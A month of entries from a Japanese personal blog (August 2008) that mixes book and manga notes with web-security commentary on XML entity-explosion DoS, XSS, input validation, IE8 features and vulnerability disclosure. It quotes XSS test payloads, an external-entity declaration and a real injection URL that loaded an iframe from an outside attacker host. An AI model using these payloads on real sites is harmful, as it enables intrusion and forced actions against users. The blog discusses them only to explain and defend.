水無月ばけらのえび日記

bakera.jp > 水無月ばけらのえび日記 > 2008年のえび日記 > 2008年8月

2008年8月

2008年8月31日(日曜日)

かび

読み終わったのでメモ。

非常に気持ちの悪い作品。……といっても悪い意味ではなくて、題名からして分かるように、そう意図されているのだと思います。

途中はスリル&サスペンスの連続で非常に面白いのですが、最後になって、それらが次々に、一気に功を奏してしまうのですね。そしてその瞬間、うっかり応援してしまっていた自分に気づいてしまい、物凄く悪い後味が残るという……。おそらく計算されているのだと思いますが、なかなか他にない感覚だと思います。

関連する話題: 本 / 買い物

2008年8月30日(土曜日)

IE8β2、保護モード有効だとカナ入力できない罠

金床さんにオススメされたりしたので IE8β2 をインストールしてみました。噂のXSSフィルターも入っていますね。

「セキュリティ」設定の中に「XSSフィルターを有効にする」という設定項目があります。

しばらく使ってみたのですが、なんとサイト上のフォームで日本語入力が一切できないことが判明。私は普段 ATOK でカナ入力なのですが、何故かカナ入力モード+カナロック無効の状態になってしまって、全角のアルファベットしか入力できません。入力モードを変更しようにも、メニューが無効になっていて変更できません。どうあがいても日本語入力できない状態です。

ブラウザ右上の検索フォームやアドレスバー部分には普通に入力できるのですが、Webページ内のフォームは全滅です。

まあ何となく原因が想像できたので、セキュリティ設定を開いて「保護モード」をオフにしてみたところ、カナ入力で日本語入力できるようになりました。

さすがに「日本語入力できない」という状態は致命的で、これをブラウザとして使うのはちょっと無理です。保護モードをオフにしてしまい、「保護モードがオフです」という警告を全力で無視して使うという手もありますが、どうするかなぁ。

※IE7では保護モードオンでもカナ入力できていたのですが……。もっとも、IME を一度オフにしないとカナロックされないことがあったりして、怪しい感じではありました。

関連する話題: Microsoft / Internet Explorer / ATOK

2008年8月29日(金曜日)

JRは健康増進法についてどう考えているのか

水道橋に向かう用事があったので浜松町から京浜東北線に乗り、東京駅で中央線に乗り換え。

浜松町の北口改札から入るとホームの端に出るので、そのまま先頭車両に乗りました。車両はかなり混雑していて、東京駅についたところで押し出されるようにして降りたのですが……。

じゃじゃーん! 喫煙所のまっただ中に放り出されましたよ!

どうしてこんな目に遭わなければならないのでしょうか……。

※私鉄各社では健康増進法の施行と同時にホームから喫煙所が無くなったので、こんな酷いことにはならないのですが。

関連する話題: たばこ

2008年8月27日(水曜日)

よつばと! 8

出ましたよ!

冒頭のシーン、机の上にさりげなく「おとうさんスイッチ」が置かれているのが可愛い! よつばととーちゃんがこれで遊んでいる光景が浮かんできますね。

全体的に、背景の絵の描き込みが物凄いです。見ているだけで飽きませんし、絵の外側の部分までちゃんと「世界」がつながっていて、どこまでも広がっているような感じがします。凄いなぁ。

※55話の扉の景色は見たことがある気がするなぁ。

関連する話題: マンガ / 買い物 / よつばと! / あずまきよひこ

2008年8月26日(火曜日)

ロックマン2: エアーマンが倒せ……あれ?

ネット界隈(?)では有名な「エアーマンが倒せない (www.amazon.co.jp)」という歌があります。歌は面白いと思うものの、実はロックマンシリーズは未プレイだったので、いまいち実感がわかない状態が続いていました。

が、今日ついに、バーチャルコンソールで「ロックマン2 Dr.ワイリーの謎」が配信開始! これでエアーマンと戦える!!

というわけで早速ダウンロードしてゲーム開始。いきなりステージ選択画面になりますが、迷わず「AIRMAN」を選択。

……初めてで操作もよく分からないのに、いきなり空中ステージですか。ジャンプの感覚が分からなかったり、空中で敵に当たったりで2回ほどゲームオーバーになりましたが、その後はスムーズに進み、意外にあっさりエアーマンと対決。

いきなり大量の竜巻攻撃。うわ、この竜巻が「何回やっても避けれない」のは分かるなぁ……と思いつつ、強引に接近してショットを連打したら……。あれ、あっさり撃破しましたよ?

※こちらも瀕死にはなっていましたが、まさか初見で勝ってまうとは。これはこれで寂しいような、何とも複雑な気持ちです。

関連する話題: ゲーム / バーチャルコンソール

標識の新ジョーシキ

bAアナログゲーム部の創設者であり、ワードバスケットの良きライバルでもある青山さんが本を出されたそうで。

「道路標識の新解釈 (aym.pekori.to)」の書籍化っぽい。

※……って、このサイト見たことありますけど、青山さんのサイトだって気づいてなかったですよ……。orz

関連する話題: 本 / BA

2008年8月25日(月曜日)

Railsの脆弱性: XML実体爆発攻撃

「REXMLのDoS脆弱性 (www.ruby-lang.org)」。

RailsでXMLリクエストのパースに使用されているREXMLに、DoS脆弱性が発見されました。XML entity explosion attackと呼ばれる攻撃手法により、ユーザから与えられたXMLを解析するようなアプリケーションをサービス不能(DoS)状態にすることができます。大部分のRailsアプリケーションはこの攻撃に対して脆弱です。

XML entity explosion attackというのは、実体宣言の中で別の実体を参照することを繰り返して実体参照の処理負荷を高める手法のようですね。掲げられているサンプルコードは短いですが、実体参照を展開するとデータは30メガバイトにもなります。展開の処理方法によっては、メモリを食い尽くしてしまうのでしょう。

外部からXMLデータのPOSTを受け付けるようなサイトは注意……と言いたいところですが、XMLデータのPOSTを受け付けないはずの手元のアプリケーションで試してみたところ、CPU負荷100%になって死んでしまいました。どうも、Railsはかなり上位のところでリクエストの処理を行ってくれているようで、XMLデータがPOSTされたら無条件に処理してしまうようです。上記のリリースでは「ユーザから与えられたXMLを解析するようなアプリケーション」と言ってしまっていますが、XML処理の有無にかかわらず、Railsで構築されたアプリケーションはほとんど全て影響を受けるように思います。「XMLを扱ってないから関係ないもんねー」などと思ってしまわないように注意しましょう。

……ところで、このサイトで使用している .NET ではどうなのだろうと思い、以下のようなコードでサンプルのXMLを処理してみました。

    DateTime start = DateTime.Now;
    XmlDocument xd = new XmlDocument();
    xd.XmlResolver = null;
    xd.Load("dos.xml");
    Console.WriteLine(xd.DocumentElement.InnerText.Length);
    Console.WriteLine(DateTime.Now - start);

結果は、

30000000
00:00:05.1866700

というわけで、約5秒で正常に処理できました。この程度なら特に問題なさそうです。

しかし考えてみると、外部から突っ込まれてくるXMLを処理するのは結構怖いですね。外部実体の宣言が含まれていることもあり得るわけで……。

<!ENTITY foo SYSTEM "http://example.com/?exploitcode">

……なんてのがあると、XMLパーサの設定によってはあっさり読みに行ってしまう可能性があります。この辺も気をつけないといけないですね。

※上記の C# のコードでは XmlResolver = null としているので外部実体は読みに行きませんが、これを null にしていないと、平気な顔で外部のサーバにHTTPアクセスしに行ってしまいます。Railsの場合は外部実体は読みに行かないようです。

関連する話題: セキュリティ / Ruby / XML / .NET

2008年8月24日(日曜日)

System.Uriに%2fが入らない

こういうコードを実行すると、

    Uri u = new Uri("http://example.com/?%2f%252f");
    Console.WriteLine(u);

結果はこうなります。

http://example.com/?/%252f

つまり、こう変換されています。

……私は%2fという文字列を入れたいのですが、いったいどうすれば……。

OriginalString には残っているのですが、MakeRelativeUri に渡したりすると消え去りますし……。

関連する話題: C# / .NET

2008年8月23日(土曜日)

対策としての入力値チェックは……

まっちゃ445の懇親会で、大垣さんと徳丸さんとのやりとりが話題になっていました。

……なんというか、何について議論されているのかがよく分からない感じがしますね。

徳丸さんは以下のように述べられていますが、

入力値チェックはアプリケーションの仕様に従っておこなうしかない。

以上、今こそXSS対策についてまとめよう より

これは「ホワイトリストかブラックリストか」という以前の話で、そもそも入力値チェックをXSSの「対策」とすること自体が不適切なのだ、と言われているのだと思います。これはその通りだと思います。

たとえば、このサイトには掲示板があり、コメントを書くことができます。そこで入力されるコメントに対して、どういう入力値チェックを行うことができるでしょうか。ちなみに、このサイトではHTMLの書き方やXSS脆弱性の攻撃パターンについて議論されることがありますから、<script> などが含まれていたらエラーにする、という処理をされては困ります。

結論としては何でも書けて良いわけで、あえて言うなら制御文字を取り除いたり、長さチェックをしたりするくらいでしょう。もちろん、これらはXSS対策ではなく、「アプリケーションの仕様」によるチェックに過ぎません。

……というわけで、このようなケースでは、そもそも「入力値チェックで脆弱性を防ぐ」なんてことは一切できないのですね。では脆弱になるのかといえば、そんなことはありません。単に、入力された内容を#PCDATAの内容として問題ないように、< を &lt; にしたりして出力すれば良いだけです。

※もちろん、#PCDATA でないところに出力する場合は別な処理が必要になることがあります。

入力値チェックをしなくても、XSSは防げるのです。必要なのは、HTMLを正しく表示することだけです。

しかし、入力値チェックでXSSを防がなければならないようなケースも存在します。それは、入力されたHTMLを文字列として表示するのではなく、マークアップとして有効にしようとしているようなケースです。その場合、<em> は OK だが <em onclick="……"> は NG とする……といった複雑なチェックが必要になってきます。これは脆弱性対策のための入力値チェックだと言えるでしょう。

※もっとも、この場合にも、どのタグを許可するのかは仕様で定められるでしょうから、アプリケーションの仕様に従ったチェックをするだけであるとも言えます。

……と、ここまでが通常の前提の話。最近ではこれに加えて、「アプリケーションがちゃんと作られている自信がないから、予防的対策として……」という微妙な話があったりします。この場合、アプリケーションやWAFによって入力値チェックが行われますが、あくまで予備的なものです。本質的な部分の話ではないということに注意する必要があるでしょう。

※こういう対策をするべきのなのかどうか……という議論もあるでしょうが、まあここではその議論は置いておくとしましょう。

まとめると、XSSと入力値チェックとの関係には、以下の3つのケースがあるのではないかと思うのです。

最初のケースについてはそもそもチェックが不要なのですから、ホワイトリストもブラックリストも関係ありません。ホワイトリストかブラックリストか、という話は後二者に関連してくる話ですが、特殊ケースにおけるチェックと、予防的対策におけるチェックではまた事情が異なってくると思います。

このあたりがもう少し整理されると、議論が分かりやすくなったりするのかもしれません。

関連する話題: セキュリティ / まっちゃ445勉強会

第01回まっちゃ445勉強会: ライトニングトーク

ついカッとなって第01回まっちゃ445勉強会 (sites.google.com)に参加してみました。

まずは午前中のライトニングトークについて、ぱらぱらとメモ。ただし、ディスカッションの内容は非公開ということになっていますので、質疑応答の内容は記載していません。

あまり知られていないXSS攻撃のバリエーション ～XSS脆弱性に対しXHRを用いた攻撃

hnwさん (d.hatena.ne.jp)によるお話。

XSSの脅威として、よく「ターゲットのドメイン上で任意のスクリプトが実行できる」ということが言われます。その「任意のスクリプト」の一例として、ターゲットのサイト上で XMLHttpRequest を実行するというパターンのご紹介。

JavaScriptでダミーのページ遷移を実装し、XMLHttpRequest でターゲットの本物サイトから本物のページを読み込んで、アンカーとログインフォームだけ書き換えて表示。本物サイト上のあらゆるページ遷移がきちんと再現される上に、ログインフォームにはもれなくパスワード奪取の罠がついてきます。

ログインフォームの存在するページに脆弱性がなくても、あとから追加したキャンペーンページが脆弱だったりすると、そこを起点に攻撃ができてしまいます。難点は、アドレスバーが書き換わらないこと。

実際にこういう攻撃が行われるかどうかは何とも言えませんが、ターゲットのサイト上で XMLHttpRequest を実行することができるという発想は重要だと思います。いろいろなことに悪用できそうです。

※最近、某届出に「管理画面のページ上の情報を読み取ることも可能であり、一般的なCSRFの攻撃よりも……」なんてことを書かせていただきましたが、まあそういうことですね。

「ISMS審査員補更新手続」狂想曲

F.koryuさんのお話。

ISMS審査員補は3年ごとに更新登録が必要なのですが、更新には一定時間の教育の受講という要件があり、しかもその一部は相互啓発を伴うものでなければなりません。相互啓発というのは、研修、セミナーの受講、学会への参加などのことです。

要は、更新時期が来たら突然「過去3年間のセミナー参加の証左を集めろ!」というミッションが発生するというお話ですね。まっちゃだいふくさんにお願いしてまっちゃ139勉強会の受講証明をもらったりとか、そういうミッションです。:-)

おさえておきたいIE8のセキュリティ新機能

はせがわさんのお話。

最初に「IEとFirefox、どちらが2.0的か?」という問い。あとはIE8の新機能のお話。以下列挙。

  • XSS Filter: 明らかな攻撃的スクリプトをブロック
  • Cross Document Messaging: iframe間でメッセージのやりとりを実現する仕組み。クロスドメインで通信可能で、双方向のメッセージ送受信が可能。JSONPより安全にクロスドメインでのデータの受け渡しができる
  • XDomainRequest: クロスドメインで読み込み可能な XMLHttpRequestのようなもの。サーバ側で HTTP応答ヘッダに XDomainRequestAllowed: 1 を入れている場合のみ読めるという仕組み。Flash の crossdomain.xml は許可ドメインリストを見られてしまったり、いろいろ嫌な問題がありますが、この仕組みならそういう問題はないですね。
  • toStaticHTML: HTML断片から「動的」な部分 (script要素など) だけを削除する。要は HTML メールのフィルタのようなもの。
  • JSONパーサ: JSON データを読み込んでオブジェクトに格納する。今までは eval したりしていたので、外部サイトの JSON データなどを拾ってくる場合は何が実行されてしまうのか分かったものではありません。これを使うと、純粋にデータの読み込みだけが行えます。
  • Content-Type無視の改善: Content-Type が image の場合はHTML扱いしなくなりました。また、Content-Type: text/plain の場合には、authoritative=true をつけると無条件で text/plain とみなします。

Content-Type無視はXSSの巣窟なので、これが改善されるのはありがたいですね。

15分でわかる(?) Black Hat 2008 & DEFCON16

ハッカージャパンのsaitoさんのお話。

写真メインで Black Hat USA 2008 と DEFCON16 の様子をご紹介。

War Game (www.amazon.co.jp)の主人公のモデルだという人がいたのだとか、いろいろ。

なお、Hacker Japan は次号10周年で、いろいろ豪華なのだそうです。

続くかも?

関連する話題: セキュリティ / まっちゃ445勉強会

2008年8月21日(木曜日)

そういえばエンジニア募集中らしい

そういえば、@typeに「株式会社 ビジネス・アーキテクツの転職 求人情報 | システム開発（オープン・Web系） (type.jp)」って載ってますね。私もちょこっと写真に出ていたり。

※その独自ツールが、six apartやAdobeに好事例として取り上げられることも！

……って書いてあるのに、URLは出ないのですね。せっかくなので、ここでメモしておきます。

※Six Apartのサイトでは紹介されていませんが、MTに関してはもっと凄い事例もあったり……。

関連する話題: BA / Movable Type

2008年8月20日(水曜日)

クリップボード改竄の攻撃、実害発生か

「正規サイトに不正Flash広告掲載か：URLをコピペしたら悪質サイトに――乗っ取り被害が続出 (www.itmedia.co.jp)」。

攻撃者はトラフィックを稼ぐ狙いでユーザーのクリップボードを上書きし、自分たちのサイトのURLをペーストさせているとSophosは分析。Javascriptなどのスクリプト言語を使って、自動的にデータをシステムのクリップボードにコピーする技術はよく知られているという。

クリップボード周りがゆるいという話は、確かに古くから知られていますね。「Internet Explorerの「スクリプトによる貼り付け処理」機能の能力を検証する (java-house.jp)」は2001年の話、「FirefoxでWindowsのクリップボードに値を設定する方法 (d.hatena.ne.jp)」は2006年の話です。※後者は data: スキームを使う話ですが、もちろん外部の SWF ファイルでも OK。

IE7 では「スクリプトによる貼り付け処理」のデフォルト値が「ダイアログ表示」になるという改善が行われましたが、Flash は……。Adobe もそろそろ何か考えてほしいところですね。

※実際に被害が出ないと対策が進まないというのも、どうかとは思いますが。

関連する話題: セキュリティ / Flash

PHPマニュアルのサンプルコードの脆弱性

マニュアルに書かれているサンプルコードが脆弱で、そのまま実装するとリモートから任意のPHPコマンドが実行されかねないというお話。「プログラミング解説書籍の脆弱性をどうするか (takagi-hiromitsu.jp)」などというお話もありましたが、リファレンスマニュアルが……というのは、残念ながらPHPらしい話ではあると思います。

なお、この問題を一応脆弱性情報としてIPAに届出ましたが、独立したソフトウェア製品ではないという理由で不受理となりましたので、ここに公開し、PHPの開発者に注意を喚起するものです。

確かに「情報セキュリティ早期警戒パートナーシップ」の取扱対象ではなさそうですね。この場合、情報を公表しても攻撃対象は特定されませんし、速やかに情報公開してしまうのが正解のように思います。

関連する話題: セキュリティ / PHP / 情報セキュリティ早期警戒パートナーシップ / 書籍の脆弱性

2008年8月19日(火曜日)

KDDIの他人のメールが見えた件、修正完了

メール文面だけでなくアドレス帳まで見えたらしいですね。とすると、他人のセッションを (意図せずに) 乗っ取ってしまったように思えますが、どうなのでしょう。原因の報告を見ると……。

WEBメールを構成しているシステムにおいて、複数のシステムを制御するパラメータの設定に誤りがあり、システムに例外的な処理が発生した場合に本不具合が発生しました。

「複数のシステムを制御するパラメータ」というのがよく分かりませんが、Webサーバが多重化されていて、バックエンドでセッション情報を共有する仕組みが何かまずかったとか?

そういう構成のアプリは手元にもあるので気をつけないと、と思いつつ、何をどう気をつければ良いのかさっぱり分からなかったり。:-)

関連する話題: セキュリティ

2008年8月18日(月曜日)

セキュリティアップデートの報告は内容が分かるようにしてほしい

Movable Type をカスタマイズするというお仕事の最中、ぴしっと脆弱性を発見。

しかし慌てません。Movable Type には8月7日にセキュリティアップデートが出ている (www.sixapart.jp)のですが、開発環境ではこれが適用されていない状態だったのです。そこで、「この脆弱性はアップデートで直るはずなのでアップデートできるかどうか確認する必要がある」というメールを書いたりしました。

が……。その後、なんと最新版でも修正されていないことが判明。最近出たセキュリティアップデートは、どうやら別件だったようなのです。

「どうやら」というのは、そのセキュリティアップデートの内容がハッキリ書かれていないからなのですね。単にセキュリティアップデートが出たということくらいしか書かれていないわけでして、どのくらい危険なのかとか、アップデート以外の回避策があるのかとか、そういう知りたい情報が無いのが困るなぁ、と前から思っていたのでした。

で、「とある脆弱性が直っているのかどうか」という情報もないもので、てっきり直っているものと思ってしまったという……。面倒だからなのか、「攻撃者に情報を与えるので良くない」というポリシーなのか知りませんが、もう少し詳しく情報を公開してほしいと思うわけです。

※考えてみると、Microsoftはこういうところを凄く頑張っていますよね。逆に、そういう姿勢に慣れすぎてしまっているのかも。

※2008-10-17: 情報が公開されたので、非公開にしていたソフトウェア名を公開しました。

関連する話題: セキュリティ / Movable Type / IPA / JPCERT/CC / 情報セキュリティ早期警戒パートナーシップ

2008年8月15日(金曜日)

受理スピードアップ?

とある地方公共団体のサイトに脆弱性があったので届け出たら、なんと数時間でもう取り扱い開始に。

届出の受理が遅いなどという話がありましたが、最近はかなり素早くなっているのではないでしょうか。

※もっとも、受理速度にはまだだいぶばらつきがあるような気もしますが。

関連する話題: セキュリティ / IPA / 情報セキュリティ早期警戒パートナーシップ

2008年8月13日(水曜日)

ぼくらの6,7,8

引き続き購入。

子ども達の運命を大人たちが知ることになったわけですが、なんでこんなにあっさりと運命を受け入れられてしまうのでしょうか。

本人達の場合、運命を知らないまま2戦してしまっていて、運命を知ったときは既に仲間が死んでおり、他にも大勢の人を死なせてしまっているという状況だったわけです。この状況で運命を受け入れてしまうのは、分からないでもないのですが……。

しかし周囲の大人は、もっとなりふり構わずに運命に抗おうとしても良いのではないかと思ったり。まあ、出てきている大人は軍人だったりニュースキャスターだったりして、一般の感覚とは違うのかもしれませんが。

9巻は9月発売のようなので、期待しておきます。

関連する話題: マンガ / 買い物

2008年8月12日(火曜日)

ぼくらの4,5

引き続き購入。

胎児が契約者って……意思表示できないと思うのですが、契約の仕組みってどうなっているのでしょうか。母体の意思表示を本人の意思表示とみなす仕組みとか? だとすると、それは操縦時にも適用されるのかしら。

5巻ではマキの椅子が動かない事件が発生しましたが、あらためて1巻 (www.amazon.co.jp)の椅子選択シーンを見ると、マキの本来の椅子はベビーベッドではなかったということのようですね。そして、その椅子には別の人が座っているわけで……。

関連する話題: マンガ / 買い物

2008年8月11日(月曜日)

Firefoxではembedのsrcに書かれたスクリプトが動作する

更新: 2008年9月20日

Yahoo!ブログ (blogs.yahoo.co.jp)に演劇ライフのブログパーツ (engekilife.com)が貼れそうかどうか調べていたのですが、その過程でどうでも良いことを発見。

以下のように、img要素のsrc属性に javascript: で始まる値が吐かれてしまうというXSSの例がよくあります。

<img src="javascript:alert(1)" />

これは IE6 で見るとスクリプトが実行されますが、Firefoxでは何も起きないというのが通説です。これを実行する意味は無いと思いますし、これで良いと思います。

が、驚いたことに、こういう出力がなされると……

<embed src="javascript:alert(1)"></embed>

なんとFirefoxではこれが実行されるという。互換性の都合で対応しているだけの要素だからかと思いきや、

<object data="javascript:alert(1)"></object>

object要素でも一緒でした。嫌なパターンですね……。

※もっとも、objectやembedで任意のデータを埋め込める時点でいろいろできてしまうはずなので、この形でのスクリプト実行が問題になることは少なかろうと思いますが。

※2008-09-20追記: 脆弱性が修正されたようなので、本文を少し修正しました。

関連する話題: Firefox / セキュリティ

2008年8月10日(日曜日)

ぼくらの2,3

1巻に引き続き購入。

……うーむ、まったく救われない話ですね。この救いのなさはドラッグオンドラグーン (www.amazon.co.jp)に匹敵するのでは……。

関連する話題: マンガ / 買い物

2008年8月9日(土曜日)

ラムダ式のメモ

C#3.0 からラムダ式が使えるようになったわけですが、初めて使ってみたのでメモ。

Array.ForEach(array, item=>{item.Foo();});

こんな感じで配列の全要素に対して Foo() メソッドが実行できたりします。ArrayのForEachはstaticメソッドなので面倒なことになっていますが、Listならばこんな感じ。

list.ForEach(item=>{item.Foo();});

こんなのも書けます。

list.ForEach(item=>{Console.WriteLine(item);});

関連する話題: C# / プログラミング

ぼくらの

購入。

どこかのムービーで使われていたアンインストール (www.amazon.co.jp)という曲が気になっていたのですが、これは「ぼくらの (www.amazon.co.jp)」というアニメの主題歌だそうで……ということで、原作であるマンガの方を購入してみました。

関連する話題: マンガ / 買い物 / アニメ

2008年8月7日(木曜日)

脆弱すぎる

「誰だって数十分も探せば……」というフレーズをどこかで聞きましたが、26分で5件というのはいくら何でも脆弱すぎると思いました。

しかも、1件ごとに届出のメールを送っていたので、メールを書いたり暗号化したりする時間を考慮すると2～3分ごとに発見されているという。

※5件で打ち止めとはとうてい思えない状況なので、相談メールを送ってしまったり。

関連する話題: セキュリティ / 26分で5件届出の伝説

2008年8月6日(水曜日)

SSL/TLSと信用

「Firefox 3のSSL対応方針、どう思う？ (slashdot.jp)」

本家コメントでは、「SSLは暗号化のためだけにあるのではなく、「信用」という大事な役割も果たしているため、Seldon氏の主張では証明書発行の存在意義を否定してしまうことにならないか？」という意見や、「ユーザビリティの観点からいえばひどい仕様だ」といった意見が寄せられているが、/.Jerの皆はどのように考えるだろうか？

「信用」という言葉は誤解と混乱の元かもしれません。「信用できないサイト」と言われると、信用できない人が運営しているサイトであるというように言われている感じがしますが、SSL/TLSはそういう意味での「信用」とは無関係です。

証明書の警告が出ている状態というのは、「アクセスしようとしているサイトが本物かどうか確認できない」という状態です。https://example.com/ にアクセスしようとしたとき、通信相手が本当に example.com なのか、それとも example.com に成りすまそうとした誰かなのかを確認できなかったという話です。example.com の本来の運営者が信用できるかどうかは全く問題にしていません。「本物かどうか」ということと、「安心して利用できるかどうか」ということは別の話です。

※EV SSL の場合はもう少しがんばって、運営者の組織がちゃんと実在するということを保証しようとしていますが、それだけです。

で、もう一つ混乱を招きそうだと思うのが、「証明書のエラーが出ていても暗号化はされている」という話。

証明書のエラーを無視して通信すると、偽の相手と通信している可能性が否定できません。その場合、偽の相手と鍵を交換して、偽の相手に暗号文を送って、偽の相手に復号されることになります。これでは暗号化の努力には何の意味もありません。このような状態を「暗号化はされている」と言っても良いのかどうか……。

「電子証明書を確認してなりすましや中間者攻撃を防ぐ」ということをSSL/TLSの暗号化通信の機能の一部と考えれば、証明書が確認できない状態は、本来想定している手順での暗号化通信が行えていないという事になるでしょう。これで「暗号化はされている」というのは語弊がありすぎるように思います。あえて言うなら、「ブラウザは暗号化の努力をしている」(が、努力が無駄になっている可能性がある) という程度でしょうか。

ついでにもう一つ、Firefox の警告は自己署名を完全に否定しているわけではないはずです。自己署名証明書を安全に運用したいのであれば、何らかの安全な方法で証明書を相手に渡しておくなど、それなりの運用をすれば良いのです。

しかし、サイト上でいきなり証明書を受け入れさせる、などというやり方は非常に危険です。だから強く警告されます。まともなサイトがそのような危険な運用をするはずがありませんから (太字で断言)、危険な運用を勧めているのは攻撃者の偽サイトである可能性が高いと判断されるのでして。

関連する話題: セキュリティ / SSL/TLS

2008年8月5日(火曜日)

「理科少年」が仕事を変える、会社を救う

読み終わったのでメモ。

関連する話題: 本

2008年8月4日(月曜日)

予告.inがXSSでやられた

ヤラレチャッタ。

XSSで実害が出て報道されるのは珍しいですね。a threadless kite - 糸の切れた凧(2008-08-03) (yamagata.int21h.jp)によると、通報対象の URL として以下のようなものを入力されたようです。

http://a.a/><iframe/src='//a.zz.tc/8/'

そして上記のURLがa要素のhref属性にそのまま出力されてしまったと。

※ちなみに予告.inでは、属性値がいっさい引用符で括られていないようです。嫌な予感がしますが……。そもそも脆弱うんぬん以前にinvalidですし、なんかHTMLが全体的に凄すぎます。このHTMLで安全に作れという方が無理です。

罠のリンクを踏み、その URL に含まれているスクリプトがターゲットのサイトで発動というのが XSS のよくあるパターンですが、今回はそうではなくて、サイト自体にiframeが埋め込まれてしまった形です。このタイプは罠を踏む必要がなく、ブックマークからアクセスしても発動しますので、用心していても回避できないですね。

※よく考えると、このタイプを「クロスサイト」と呼ぶのは適切ではないような気もしてきましたが、まあそこは気にしない方向で。

で、iframeで呼ばれた悪意あるサイトに攻撃のスクリプトが書かれていると。

『事前に犯人の用意した特定のページに強制的にアクセスをさせることで、2chに犯行予告を投稿』

以上、予告inにおけるXSS脆弱性、及び被害の概要について より

これは、どちらかというとCSRFに類似した問題が2ch側にあるという話ですかね……(ログインしていないのでCSRFではない)。このあたりは、2006年 ウェブアプリケーション開発者向けセキュリティ実装講座 (www.ipa.go.jp)の高木さんの講演 (「CSRF」と「Session Fixation」 の諸問題について) で議論されているのですが、そこでは以下のように述べられています (スライドの18ページ)。

掲示板に自動書き込みするリンク（POSTの自動submit）

– 古くから存在、対策していないところも多い

– 「２ちゃんねる掲示板」ではReferer: が2ch.net であることを確認

以上、「CSRF」と「Session Fixation」の諸問題について より

2chではこの問題は対策済みであるという話ですが……。この対策が有効になっていなかったのか、それとも何らかの方法で貫通された (Referer捏造された?) のか、興味深いところですね。

関連する話題: Web / セキュリティ / クロスサイトスクリプティング脆弱性 / CSRF / CSRFではない

取扱終了は必ずしも平和裏な解決とは限らない

「ビジネスパーソンの迷惑メール対処術 ウェブサイトの脆弱性 補修完了までに90日！？ (www.nikkeibp.co.jp)」

今期中に受け付けたソフトウェア製品の届け出69件のうち、今期中に「取扱終了」になったものが23件、「取扱中」が46件だった。ウェブサイトの届け出208件では、「取扱終了」が185件、「取扱中」が23件だった。「取扱終了」は、脆弱性の補修を確認したものや脆弱性ではなかったもののことで、安全になったもののことである。「取扱中」は、補修の完了を確認できていない、危険な状態のままのものだ。

このへんは微妙ですね。取扱終了というのは文字通り取扱を終了したという意味しかありませんので、必ずしも安全になったとは言えません。

まず、「取扱終了」には、単に「Webサイト運営者が脆弱性ではなかったと主張した」というだけのものも含まれています。

SQLインジェクションやディレクトリ・トラバーサルなどは、実際に攻撃可能であることを示してしまうとマズイため、脆弱性の存在が推察されるというレベルで届出を行うことになります。そのような場合、Webサイト運営者が「脆弱じゃない」と主張したら受け入れるしかありません。

※もっとも、Webサイト運営者が「脆弱じゃない」と主張する理由が明らかに間違っているというケースもあり、そういう場合は「やはり脆弱なのでは?」と返せます。

XSSなどでは、運営者が修正して完了したとされたものでさえ直っていないケースがままあります。SQLインジェクションやディレクトリ・トラバーサルについても、「運営者は大丈夫だと考えているが実際は……」というケースがそれなりにあるだろうと思います。届出者にはそれを確認する合法な手段がないので、どうすることもできないのが現状です。

さらに、こういうパターンもあります。

本件の取扱いについて、ご相談させて下さい。

2005 年 3 月 28 日に届出情報を運営者へ送付してから、IPA ではウェブサイト運営者に対して 25 回にわたり脆弱性対策を促してきましたが、運営者から脆弱性に対する修正が完了した旨の報告が頂けない状況です。

これはもう「お疲れ様でした」としか言いようがありません。こういうのも取扱終了になります。

逆に、「取扱中」というのも文字通りの意味しかありません。Webサイトが修正されていても、IPAに対して修正完了の報告がない場合は取扱中のままになります。某A社はとっくにサイトリニューアルしているのに修正報告は届出の3年後、なんていう物凄いプレイを見せてくれましたし……。

関連する話題: Web / セキュリティ / IPA / JPCERT/CC / 情報セキュリティ早期警戒パートナーシップ / SQLインジェクション

2008年8月1日(金曜日)

厚切りベーコン

海外の方が Ruby を超オススメする厚切りベーコン! 厚切りベーコン!

……「厚切りベーコン」が頭にこびりついて、他に何が書いてあったか思い出せません。頭の中で「Ruby といえば厚切りベーコン」という嫌な結びつきが……。

関連する話題: Ruby / 本

IE7でコンテント・ネゴシエーションが残念なことになる件

Accept-Language によるコンテント・ネゴシエーションが IE7 でうまく動作しないらしいというお話があり、いろいろ調査。

問題を簡潔にまとめると、「IE7で複数の言語を設定している場合に、その設定の順位が無視されているように見える」という感じ。たとえば、コンテンツ側で日本語と英語を用意しているとき、以下のような動作になります。

日本語、英語の順で設定したら日本語を返してほしいのに、何故か英語が返って来るという。

この原因は、「IEBlog : Accept-Language Header for Internet Explorer 7 (blogs.msdn.com)」に書かれている Accept-Language の仕様変更です。IE6 までは言語設定に「日本語 [ja]」という選択肢があったのですが、IE7 ではしれっと「日本語 [ja-JP]」になっており、他の言語についても同様ということですね。

恐ろしいことに「日本語 [ja]」という選択肢はなくなっているので、Accept-Language: ja を送りたい場合は "ja" と手入力しなければなりません。普通の人は手入力しないと思いますから ja-JP の方しか送られないわけです。

で、Accept-Language を受け取る Apache の側ではこんな感じになっています。

このおかげで、Accept-Language に ja-JP と en-US があり、コンテンツ側で ja と en が用意されているという状況では、qvalueにかかわらず ja と en のプライオリティは全く同一になってしまいます。結果として、言語の順番が無視されているように見えるわけです。

間違いではない気もしますが直感に反する動作ですね。mod_negotiation を修正してほしい感じがしますが……。

関連する話題: Web / Internet Explorer / Apache

最近の日記

関わった本など